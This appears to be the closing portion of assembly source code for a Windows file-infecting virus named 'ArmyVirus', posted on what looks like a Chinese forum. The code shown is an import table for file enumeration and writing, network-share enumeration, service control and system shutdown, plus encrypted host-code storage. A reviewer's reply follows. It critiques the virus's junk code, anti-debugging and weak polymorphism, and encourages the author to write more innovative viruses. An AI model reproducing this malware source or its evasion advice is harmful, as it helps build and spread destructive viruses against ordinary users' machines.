db 0B8h,4 dup(0),0FFh,0E0h,'GetFileSize',0
SetFilePointer:
db 0B8h,4 dup(0),0FFh,0E0h,'SetFilePointer',0
WriteFile:
db 0B8h,4 dup(0),0FFh,0E0h,'WriteFile',0
GetTickCount:
db 0B8h,4 dup(0),0FFh,0E0h,'GetTickCount',0
CloseHandle:
db 0B8h,4 dup(0),0FFh,0E0h,'CloseHandle',0
GlobalAlloc:
db 0B8h,4 dup(0),0FFh,0E0h,'GlobalAlloc',0
GlobalFree:
db 0B8h,4 dup(0),0FFh,0E0h,'GlobalFree',0
GetDriveType:
db 0B8h,4 dup(0),0FFh,0E0h,'GetDriveTypeA',0
FindFirstFile:
db 0B8h,4 dup(0),0FFh,0E0h,'FindFirstFileA',0
FindNextFile:
db 0B8h,4 dup(0),0FFh,0E0h,'FindNextFileA',0
FindClose:
db 0B8h,4 dup(0),0FFh,0E0h,'FindClose',0
SetFileAttributes:
db 0B8h,4 dup(0),0FFh,0E0h,'SetFileAttributesA',0
SetFileTime:
db 0B8h,4 dup(0),0FFh,0E0h,'SetFileTime',0
Sleep:
db 0B8h,4 dup(0),0FFh,0E0h,'Sleep',0
SetCurrentDirectory:
db 0B8h,4 dup(0),0FFh,0E0h,'SetCurrentDirectoryA',0
CreateMutex:
db 0B8h,4 dup(0),0FFh,0E0h,'CreateMutexA',0
GetLastError:
db 0B8h,4 dup(0),0FFh,0E0h,'GetLastError',0
GetLocalTime:
db 0B8h,4 dup(0),0FFh,0E0h,'GetLocalTime',0
ReadFile:
db 0B8h,4 dup(0),0FFh,0E0h,'ReadFile',0
DeviceIoControl:
db 0B8h,4 dup(0),0FFh,0E0h,'DeviceIoControl',0
VirtualProtect:
db 0B8h,4 dup(0),0FFh,0E0h,'VirtualProtect',0
CreateKernelThread:
db 0B8h,4 dup(0),0FFh,0E0h,'CreateKernelThread',0
GetCurrentProcessId:
db 0B8h,4 dup(0),0FFh,0E0h,'GetCurrentProcessId',0
db 0
Advapi_Functions:
OpenSCManager:
db 0B8h,4 dup(0),0FFh,0E0h,'OpenSCManagerA',0
OpenService:
db 0B8h,4 dup(0),0FFh,0E0h,'OpenServiceA',0
QueryServiceStatus:
db 0B8h,4 dup(0),0FFh,0E0h,'QueryServiceStatus',0
CloseServiceHandle:
db 0B8h,4 dup(0),0FFh,0E0h,'CloseServiceHandle',0
db 0
MprDll_Functions:
WNetOpenEnum:
db 0B8h,4 dup(0),0FFh,0E0h,'WNetOpenEnumA',0
WNetEnumResource:
db 0B8h,4 dup(0),0FFh,0E0h,'WNetEnumResourceA',0
WNetCloseEnum:
db 0B8h,4 dup(0),0FFh,0E0h,'WNetCloseEnum',0
db 0
UserDll_Functions:
FindWindow:
db 0B8h,4 dup(0),0FFh,0E0h,'FindWindowA',0
GetWindowThreadProcessId:
db 0B8h,4 dup(0),0FFh,0E0h,'GetWindowThreadProcessId',0
ExitWindowEx:
db 0B8h,4 dup(0),0FFh,0E0h,'ExitWindowEx',0
db 0
;-------------------------------------------------------------------------
EncryptEnd equ this byte
;-------------------------------------------------------------------------
HostCode db offset EPOEnd - offset EPOStart dup(0)
Flag dd 0
EncryptKey db 0
;========================================================================
ArmyVirusEnd equ this byte ;ArmyVirus结束
;========================================================================
end ArmyVirusStart
ps:Vancheer 对这个病毒的评价:
大概看了一眼,
1,你的花指令本身就成为了特征码!
2,那么多检测Debuger似乎没有太大必要,重心应该放在变形上
3,变形太简单
4,基本都是别人的东西,没有什么创新啊。
5,怎么可以有破坏???
不过这是你的第一个毒,总体来说还不错,鼓励鼓励。
再接再厉,多研究些创新的东西。
页:
[1]